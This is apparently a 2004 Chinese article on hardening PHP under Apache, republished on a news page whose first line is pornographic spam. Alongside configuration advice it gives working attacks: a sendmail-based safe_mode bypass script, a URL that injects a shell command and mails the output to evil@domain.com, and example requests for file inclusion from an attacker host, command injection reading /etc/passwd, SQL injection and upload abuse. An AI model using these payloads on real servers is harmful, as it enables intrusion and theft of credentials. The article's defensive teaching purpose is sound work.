欧美久久天天综合香蕉伊,h片在线免费观看,九九欧美,欧美1区2区3区,日本在线不卡一区,国产视频久久久,91久久久久久久

2023信創(chuàng)獨角獸企業(yè)100強
全世界各行各業(yè)聯(lián)合起來,internet一定要實現(xiàn)!

安全配置你的PHP

2004-02-11 eNet&Ciweek

  一、Web服務(wù)器安全

  PHP其實不過是Web服務(wù)器的一個模塊功能,所以首先要保證Web服務(wù)器的安全。當然Web服務(wù)器要安全又必須是先保證系統(tǒng)安全,這樣就扯遠了,無窮無盡。PHP可以和各種Web服務(wù)器結(jié)合,這里也只討論Apache。非常建議以chroot方式安裝啟動Apache,這樣即使Apache和PHP及其腳本出現(xiàn)漏洞,受影響的也只有這個禁錮的系統(tǒng),不會危害實際系統(tǒng)。但是使用chroot的Apache后,給應(yīng)用也會帶來一定的麻煩,比如連接mysql時必須用127.0.0.1地址使用tcp連接而不能用localhost實現(xiàn)socket連接,這在效率上會稍微差一點。還有mail函數(shù)發(fā)送郵件也是個問題,因為php.ini里的:

  [mail function]

  ; For Win32 only.

  SMTP = localhost

  ; For Win32 only.

  sendmail_from = me@localhost.com

  都是針對Win32平臺,所以需要在chroot環(huán)境下調(diào)整好sendmail。   

  二、PHP本身問題

  1、遠程溢出

  PHP-4.1.2以下的所有版本都存在文件上傳遠程緩沖區(qū)溢出漏洞,而且攻擊程序已經(jīng)廣泛流傳,成功率非常高:

  http://packetstormsecurity.org/0204-exploits/7350fun

  http://hsj.shadowpenguin.org/misc/php3018_exp.txt

  2、遠程拒絕服務(wù)

  PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST請求處理遠程漏洞,雖然不能獲得本地用戶權(quán)限,但是也能造成拒絕服務(wù)。

  3、safe_mode繞過漏洞

  還有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函數(shù)繞過safe_mode限制執(zhí)行命令漏洞,4.0.5版本開始mail函數(shù)增加了第五個參數(shù),由于設(shè)計者考慮不周可以突破safe_mode的限制執(zhí)行命令。其中4.0.5版本突破非常簡單,只需用分號隔開后面加shell命令就可以了,比如存在PHP腳本evil.php:

  

  執(zhí)行如下的URL:

  http://foo.com/evil.php?bar=;/usr/bin/id mail evil@domain.com

  這將id執(zhí)行的結(jié)果發(fā)送給evil@domain.com。

  對于4.0.6至4.2.2的PHP突破safe_mode限制其實是利用了sendmail的-C參數(shù),所以系統(tǒng)必須是使用sendmail。如下的代碼能夠突破safe_mode限制執(zhí)行命令:

  
  #注意,下面這兩個必須是不存在的,

  或者它們的屬主和本腳本的屬主是一樣

  $script="/tmp/script123";

  $cf="/tmp/cf123";

  $fd = fopen($cf, "w");

  fwrite($fd, "OQ/tmp

  Sparse=0

  R$*" . chr(9) . "$#local $@ $1 $: $1

  Mlocal, P=/bin/sh, A=sh $script");

  fclose($fd);

  $fd = fopen($script, "w");

  fwrite($fd, "rm -f $script $cf; ");

  fwrite($fd, $cmd);

  fclose($fd);

  mail("nobody", "", "", "", "-C$cf");

  ?>

  還是使用以上有問題版本PHP的用戶一定要及時升級到最新版本,這樣才能消除基本的安全問題。

  三、PHP本身的安全配置   

  PHP的配置非常靈活,可以通過php.ini, httpd.conf, .htaccess文件(該目錄必須設(shè)置了AllowOverride All或Options)進行設(shè)置,還可以在腳本程序里使用ini_set()及其他的特定的函數(shù)進行設(shè)置。通過phpinfo()和get_cfg_var()函數(shù)可以得到配置選項的各個值。   

  如果配置選項是唯一PHP_INI_SYSTEM屬性的,必須通過php.ini和httpd.conf來修改,它們修改的是PHP的Master值,但修改之后必須重啟apache才能生效。其中php.ini設(shè)置的選項是對Web服務(wù)器所有腳本生效,httpd.conf里設(shè)置的選項是對該定義的目錄下所有腳本生效。

  如果還有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL屬性的選項就可以使用.htaccess文件設(shè)置,也可以通過在腳本程序自身用ini_set()函數(shù)設(shè)定,它們修改的是Local值,改了以后馬上生效。但是.htaccess只對當前目錄的腳本程序生效,ini_set()函數(shù)只對該腳本程序設(shè)置ini_set()函數(shù)以后的代碼生效。各個版本的選項屬性可能不盡相同,可以用如下命令查找當前源代碼的main.c文件得到所有的選項,以及它的屬性:   

  # grep PHP_INI_ /PHP_SRC/main/main.c

  在討論PHP安全配置之前,應(yīng)該好好了解PHP的safe_mode模式。   

  1、safe_mode

  safe_mode是唯一PHP_INI_SYSTEM屬性,必須通過php.ini或httpd.conf來設(shè)置。要啟用safe_mode,只需修改php.ini:  

  safe_mode = On

  或者修改httpd.conf,定義目錄:

  

   Options FollowSymLinks

   php_admin_value safe_mode 1

  


  重啟apache后safe_mode就生效了。啟動safe_mode,會對許多PHP函數(shù)進行限制,特別是和系統(tǒng)相關(guān)的文件打開、命令執(zhí)行等函數(shù)。

  所有操作文件的函數(shù)將只能操作與腳本UID相同的文件,比如test.php腳本的內(nèi)容為:

  

  幾個文件的屬性如下:

  # ls -la

  total 13

  drwxr-xr-x 2 root root 104 Jul 20 01:25 .

  drwxr-xr-x 16 root root 384 Jul 18 12:02 ..

  -rw-r--r-- 1 root root 4110 Oct 26 2002 index.html

  -rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php

  在瀏覽器請求test.php會提示如下的錯誤信息:

  Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1   

  如果被操作文件所在目錄的UID和腳本UID一致,那么該文件的UID即使和腳本不同也可以訪問的,不知這是否是PHP的一個漏洞還是另有隱情。所以php腳本屬主這個用戶最好就只作這個用途,絕對禁止使用root做為php腳本的屬主,這樣就達不到safe_mode的效果了。   

  如果想將其放寬到GID比較,則打開 safe_mode_gid可以考慮只比較文件的GID,可以設(shè)置如下選項:

  safe_mode_gid = On   

  設(shè)置了safe_mode以后,所有命令執(zhí)行的函數(shù)將被限制只能執(zhí)行php.ini里safe_mode_exec_dir指定目錄里的程序,而且shell_exec、`ls -l`這種執(zhí)行命令的方式會被禁止。如果確實需要調(diào)用其它程序,可以在php.ini做如下設(shè)置:   

  safe_mode_exec_dir = /usr/local/php/exec

  然后拷貝程序到該目錄,那么php腳本就可以用system等函數(shù)來執(zhí)行該程序。而且該目錄里的shell腳本還是可以調(diào)用其它目錄里的系統(tǒng)命令。   

  safe_mode_include_dir string   

  當從此目錄及其子目錄(目錄必須在 include_path 中或者用完整路徑來包含)包含文件時越過 UID/GID 檢查。  

  從 PHP 4.2.0 開始,本指令可以接受和 include_path 指令類似的風格用分號隔開的路徑,而不只是一個目錄。   

  指定的限制實際上是一個前綴,而非一個目錄名。這也就是說“safe_mode_include_dir = /dir/incl”將允許訪問“/dir/include”和“/dir/incls”,如果它們存在。如果您希望將訪問控制在一個指定的目錄,那么請在結(jié)尾加上一個斜線,例如:“safe_mode_include_dir = /dir/incl/”。   

  safe_mode_allowed_env_vars string   

  設(shè)置某些環(huán)境變量可能是潛在的安全缺口。本指令包含有一個逗號分隔的前綴列表。在安全模式下,用戶只能改變那些名字具有在這里提供的前綴的環(huán)境變量。默認情況下,用戶只能設(shè)置以 PHP_ 開頭的環(huán)境變量(例如 PHP_FOO = BAR)。  

  注: 如果本指令為空,PHP 將使用戶可以修改任何環(huán)境變量! 

  safe_mode_protected_env_vars string   

  本指令包含有一個逗號分隔的環(huán)境變量的列表,最終用戶不能用 putenv() 來改變這些環(huán)境變量。甚至在 safe_mode_allowed_env_vars 中設(shè)置了允許修改時也不能改變這些變量。  

  雖然safe_mode不是萬能的(低版本的PHP可以繞過),但還是強烈建議打開安全模式,在一定程度上能夠避免一些未知的攻擊。不過啟用safe_mode會有很多限制,可能對應(yīng)用帶來影響,所以還需要調(diào)整代碼和配置才能和諧。被安全模式限制或屏蔽的函數(shù)可以參考PHP手冊。   

  討論完safe_mode后,下面結(jié)合程序代碼實際可能出現(xiàn)的問題討論如何通過對PHP服務(wù)器端的配置來避免出現(xiàn)的漏洞。

 ?。ㄎ赐辏?br>   2、變量濫用

  PHP默認register_globals = On,對于GET, POST, Cookie, Environment, Session的變量可以直接注冊成全局變量。它們的注冊順序是variables_order = "EGPCS"(可以通過php.ini修改),同名變量variables_order右邊的覆蓋左邊,所以變量的濫用極易造成程序的混亂。而且腳本程序員往往沒有對變量初始化的習慣,像如下的程序片斷就極易受到攻擊:

  
  //test_1.php

  if ($pass == "hello")

   $auth = 1;  

  if ($auth == 1)

  echo "some important information";

  else

  echo "nothing";

  ?>  

  攻擊者只需用如下的請求就能繞過檢查:

  http://victim/test_1.php?auth=1

  這雖然是一個很弱智的錯誤,但一些著名的程序也有犯過這種錯誤,比如phpnuke的遠程文件拷貝漏洞:http://www.securityfocus.com/bid/3361

  PHP-4.1.0發(fā)布的時候建議關(guān)閉register_globals,并提供了7個特殊的數(shù)組變量來使用各種變量。對于從GET、POST、COOKIE等來的變量并不會直接注冊成變量,必需通過數(shù)組變量來存取。PHP-4.2.0發(fā)布的時候,php.ini默認配置就是register_globals = Off。這使得程序使用PHP自身初始化的默認值,一般為0,避免了攻擊者控制判斷變量。

  解決方法:

  配置文件php.ini設(shè)置register_globals = Off。

  要求程序員對作為判斷的變量在程序最開始初始化一個值。

  3、文件打開

  極易受攻擊的代碼片斷:

  
  //test_2.php

  if (!($str = readfile("$filename"))) {

   echo("Could not open file: $filename
\n");

   exit;

  }

  else {

   echo $str;

  }

  ?>

  由于攻擊者可以指定任意的$filename,攻擊者用如下的請求就可以看到/etc/passwd:

  http://victim/test_2.php?filename=/etc/passwd

  如下請求可以讀php文件本身:

  http://victim/test_2.php?filename=test_2.php

  PHP中文件打開函數(shù)還有fopen(), file()等,如果對文件名變量檢查不嚴就會造成服務(wù)器重要文件被訪問讀取。

  解決方法:

  如非特殊需要,把php的文件操作限制在web目錄里面。以下是修改apache配置文件httpd.conf的一個例子:  

  

   php_admin_value open_basedir /usr/local/apache/htdocs

  


  重啟apache后,/usr/local/apache/htdocs目錄下的PHP腳本就只能操作它自己目錄下的文件了,否則PHP就會報錯:

  Warning: open_basedir restriction in effect.

  File is in wrong directory in xxx on line xx.

  使用safe_mode模式也能避免這種問題,前面已經(jīng)討論過了。

  4、包含文件

  極易受攻擊的代碼片斷:

  
  //test_3.php

  if(file_exists($filename))

   include("$filename");

  ?>

  這種不負責任的代碼會造成相當大的危害,攻擊者用如下請求可以得到/etc/passwd文件:

  http://victim/test_3.php?filename=/etc/passwd

  如果對于Unix版的PHP(Win版的PHP不支持遠程打開文件)攻擊者可以在自己開了http或ftp服務(wù)的機器上建立一個包含shell命令的文件,如http://attack/attack.txt的內(nèi)容是,那么如下的請求就可以在目標主機執(zhí)行命令ls /etc:

  http://victim/test_3.php?filename=http://attack/attack.txt

  攻擊者甚至可以通過包含apache的日志文件access.log和error.log來得到執(zhí)行命令的代碼,不過由于干擾信息太多,有時不易成功。

  對于另外一種形式,如下代碼片斷:

  
  //test_4.php

  include("$lib/config.php");

  ?>

  攻擊者可以在自己的主機建立一個包含執(zhí)行命令代碼的config.php文件,然后用如下請求也可以在目標主機執(zhí)行命令:

  http://victim/test_4.php?lib=http://attack

  PHP的包含函數(shù)有include(), include_once(), require(), require_once。如果對包含文件名變量檢查不嚴就會對系統(tǒng)造成嚴重危險,可以遠程執(zhí)行命令。

  解決方法:

  要求程序員包含文件里的參數(shù)盡量不要使用變量,如果使用變量,就一定要嚴格檢查要包含的文件名,絕對不能由用戶任意指定。

  如前面文件打開中限制PHP操作路徑是一個必要的選項。另外,如非特殊需要,一定要關(guān)閉PHP的遠程文件打開功能。修改php.ini文件:

  allow_url_fopen = Off

  重啟apache。 (未完)
  5、文件上傳

  php的文件上傳機制是把用戶上傳的文件保存在php.ini的upload_tmp_dir定義的臨時目錄(默認是系統(tǒng)的臨時目錄,如:/tmp)里的一個類似phpxXuoXG的隨機臨時文件,程序執(zhí)行結(jié)束,該臨時文件也被刪除。PHP給上傳的文件定義了四個變量:(如form變量名是file,而且register_globals打開)

  $file #就是保存到服務(wù)器端的臨時文件(如/tmp/phpxXuoXG )

  $file_size #上傳文件的大小

  $file_name #上傳文件的原始名稱

  $file_type #上傳文件的類型

  推薦使用:

  $HTTP_POST_FILES['file']['tmp_name']

  $HTTP_POST_FILES['file']['size']

  $HTTP_POST_FILES['file']['name']

  $HTTP_POST_FILES['file']['type']

  這是一個最簡單的文件上傳代碼:

  
  //test_5.php

  if(isset($upload) && $file != "none") {

   copy($file, "/usr/local/apache/htdocs/upload/".$file_name);

   echo "文件".$file_name."上傳成功!點擊繼續(xù)上傳";

   exit;

  }

  ?>

  

  

  文件上傳

  

   content="text/html; charset=gb2312">

  

  

  


  上傳文件:

  

  

  


  

  

  這樣的上傳代碼存在讀取任意文件和執(zhí)行命令的重大問題。

  下面的請求可以把/etc/passwd文檔拷貝到web目錄/usr/local/apache/htdocs/test(注意:這個目錄必須nobody可寫)下的attack.txt文件里:

  http://victim/test_5.php?upload=1&file=/etc/passwd&file_name=attack.txt

  然后可以用如下請求讀取口令文件:

  http://victim/test/attack.txt

  攻擊者可以把php文件拷貝成其它擴展名,泄漏腳本源代碼。

  攻擊者可以自定義form里file_name變量的值,上傳覆蓋任意有寫權(quán)限的文件。

  攻擊者還可以上傳PHP腳本執(zhí)行主機的命令。

  解決方法:

  PHP-4.0.3以后提供了is_uploaded_file和move_uploaded_file函數(shù),可以檢查操作的文件是否是用戶上傳的文件,從而避免把系統(tǒng)文件拷貝到web目錄。

  使用$HTTP_POST_FILES數(shù)組來讀取用戶上傳的文件變量。

  嚴格檢查上傳變量。比如不允許是php腳本文件。

  把PHP腳本操作限制在web目錄可以避免程序員使用copy函數(shù)把系統(tǒng)文件拷貝到web目錄。move_uploaded_file不受open_basedir的限制,所以不必修改php.ini里upload_tmp_dir的值。

  把PHP腳本用phpencode進行加密,避免由于copy操作泄漏源碼。

  嚴格配置文件和目錄的權(quán)限,只允許上傳的目錄能夠讓nobody用戶可寫。

  對于上傳目錄去掉PHP解釋功能,可以通過修改httpd.conf實現(xiàn):

 ?。ㄎ赐辏?br>   

   php_flag engine off

   #如果是php3換成php3_engine off

  


  重啟apache,upload目錄的php文件就不能被apache解釋了,即使上傳了php文件也沒有問題,只能直接顯示源碼。

  6、命令執(zhí)行

  下面的代碼片斷是從PHPNetToolpack摘出,詳細的描述見:

  http://www.securityfocus.com/bid/4303

  
  //test_6.php

  system("traceroute $a_query",$ret_strs);

  ?>

  由于程序沒有過濾$a_query變量,所以攻擊者可以用分號來追加執(zhí)行命令。

  攻擊者輸入如下請求可以執(zhí)行cat /etc/passwd命令:

  http://victim/test_6.php?a_query=www.example.com;cat /etc/passwd

  PHP的命令執(zhí)行函數(shù)還有system(), passthru(), popen()和``等。命令執(zhí)行函數(shù)非常危險,慎用。如果要使用一定要嚴格檢查用戶輸入。

  解決方法:

  要求程序員使用escapeshellcmd()函數(shù)過濾用戶輸入的shell命令。

  啟用safe_mode可以杜絕很多執(zhí)行命令的問題,不過要注意PHP的版本一定要是最新的,小于PHP-4.2.2的都可能繞過safe_mode的限制去執(zhí)行命令。

  7、sql_inject

  如下的SQL語句如果未對變量進行處理就會存在問題:

  select * from login where user='$user' and pass='$pass'

  攻擊者可以用戶名和口令都輸入1' or 1='1繞過驗證。

  不過幸虧PHP有一個默認的選項magic_quotes_gpc = On,該選項使得從GET, POST, COOKIE來的變量自動加了addslashes()操作。上面SQL語句變成了:

  select * from login where user='1\' or

  1=\'1' and pass='1\' or 1=\'1'

  從而避免了此類sql_inject攻擊。

  對于數(shù)字類型的字段,很多程序員會這樣寫:

  select * from test where id=$id

  由于變量沒有用單引號擴起來,就會造成sql_inject攻擊。幸虧MySQL功能簡單,沒有sqlserver等數(shù)據(jù)庫有執(zhí)行命令的SQL語句,而且PHP的mysql_query()函數(shù)也只允許執(zhí)行一條SQL語句,所以用分號隔開多條SQL語句的攻擊也不能奏效。但是攻擊者起碼還可以讓查詢語句出錯,泄漏系統(tǒng)的一些信息,或者一些意想不到的情況。

  解決方法:

  要求程序員對所有用戶提交的要放到SQL語句的變量進行過濾。

  即使是數(shù)字類型的字段,變量也要用單引號擴起來,MySQL自己會把字串處理成數(shù)字。

  在MySQL里不要給PHP程序高級別權(quán)限的用戶,只允許對自己的庫進行操作,這也避免了程序出現(xiàn)問題被 SELECT INTO OUTFILE ... 這種攻擊。

  8、警告及錯誤信息

  PHP默認顯示所有的警告及錯誤信息:

  error_reporting = E_ALL & ~E_NOTICE

  display_errors = On

  在平時開發(fā)調(diào)試時這非常有用,可以根據(jù)警告信息馬上找到程序錯誤所在

  正式應(yīng)用時,警告及錯誤信息讓用戶不知所措,而且給攻擊者泄漏了腳本所在的物理路徑,為攻擊者的進一步攻擊提供了有利的信息。而且由于自己沒有訪問到錯誤的地方,反而不能及時修改程序的錯誤。所以把PHP的所有警告及錯誤信息記錄到一個日志文件是非常明智的,即不給攻擊者泄漏物理路徑,又能讓自己知道程序錯誤所在。

  修改php.ini中關(guān)于Error handling and logging部分內(nèi)容:

  error_reporting = E_ALL

  display_errors = Off

  log_errors = On

  error_log = /usr/local/apache/logs/php_error.log

  然后重啟apache,注意文件/usr/local/apache/logs/php_error.log必需可以讓nobody用戶可寫。

  9、disable_functions

  如果覺得有些函數(shù)還有威脅,可以設(shè)置php.ini里的disable_functions(這個選項不能在httpd.conf里設(shè)置),比如:

  disable_functions = phpinfo, get_cfg_var  

  可以指定多個函數(shù),用逗號分開。重啟apache后,phpinfo, get_cfg_var函數(shù)都被禁止了。建議關(guān)閉函數(shù)phpinfo, get_cfg_var,這兩個函數(shù)容易泄漏服務(wù)器信息,而且沒有實際用處。

  10、disable_classes

  這個選項是從PHP-4.3.2開始才有的,它可以禁用某些類,如果有多個用逗號分隔類名。disable_classes也不能在httpd.conf里設(shè)置,只能在php.ini配置文件里修改。

  11、open_basedir

  前面分析例程的時候也多次提到用open_basedir對腳本操作路徑進行限制,這里再介紹一下它的特性。用open_basedir指定的限制實際上是前綴,不是目錄名。也就是說 "open_basedir = /dir/incl" 也會允許訪問 "/dir/include" 和 "/dir/incls",如果它們存在的話。如果要將訪問限制在僅為指定的目錄,用斜線結(jié)束路徑名。例如:"open_basedir = /dir/incl/"。

  可以設(shè)置多個目錄,在Windows中,用分號分隔目錄。在任何其它系統(tǒng)中用冒號分隔目錄。作為Apache模塊時,父目錄中的open_basedir路徑自動被繼承。

  四、其它安全配置

  1、取消其它用戶對常用、重要系統(tǒng)命令的讀寫執(zhí)行權(quán)限

  一般管理員維護只需一個普通用戶和管理用戶,除了這兩個用戶,給其它用戶能夠執(zhí)行和訪問的東西應(yīng)該越少越好,所以取消其它用戶對常用、重要系統(tǒng)命令的讀寫執(zhí)行權(quán)限能在程序或者服務(wù)出現(xiàn)漏洞的時候給攻擊者帶來很大的迷惑。記住一定要連讀的權(quán)限也去掉,否則在linux下可以用/lib/ld-linux.so.2 /bin/ls這種方式來執(zhí)行。

  如果要取消某程如果是在chroot環(huán)境里,這個工作比較容易實現(xiàn),否則,這項工作還是有些挑戰(zhàn)的。因為取消一些程序的執(zhí)行權(quán)限會導致一些服務(wù)運行不正常。PHP的mail函數(shù)需要/bin/sh去調(diào)用sendmail發(fā)信,所以/bin/bash的執(zhí)行權(quán)限不能去掉。這是一項比較累人的工作.

  2、去掉apache日志其它用戶的讀權(quán)限  

  apache的access-log給一些出現(xiàn)本地包含漏洞的程序提供了方便之門。通過提交包含PHP代碼的URL,可以使access-log包含PHP代碼,那么把包含文件指向access-log就可以執(zhí)行那些PHP代碼,從而獲得本地訪問權(quán)限。

  如果有其它虛擬主機,也應(yīng)該相應(yīng)去掉該日志文件其它用戶的讀權(quán)限?! ?

  當然,如果你按照前面介紹的配置PHP那么一般已經(jīng)是無法讀取日志文件了。

相關(guān)頻道: eNews

您對本文或本站有任何意見,請在下方提交,謝謝!

投稿信箱:tougao@enet16.com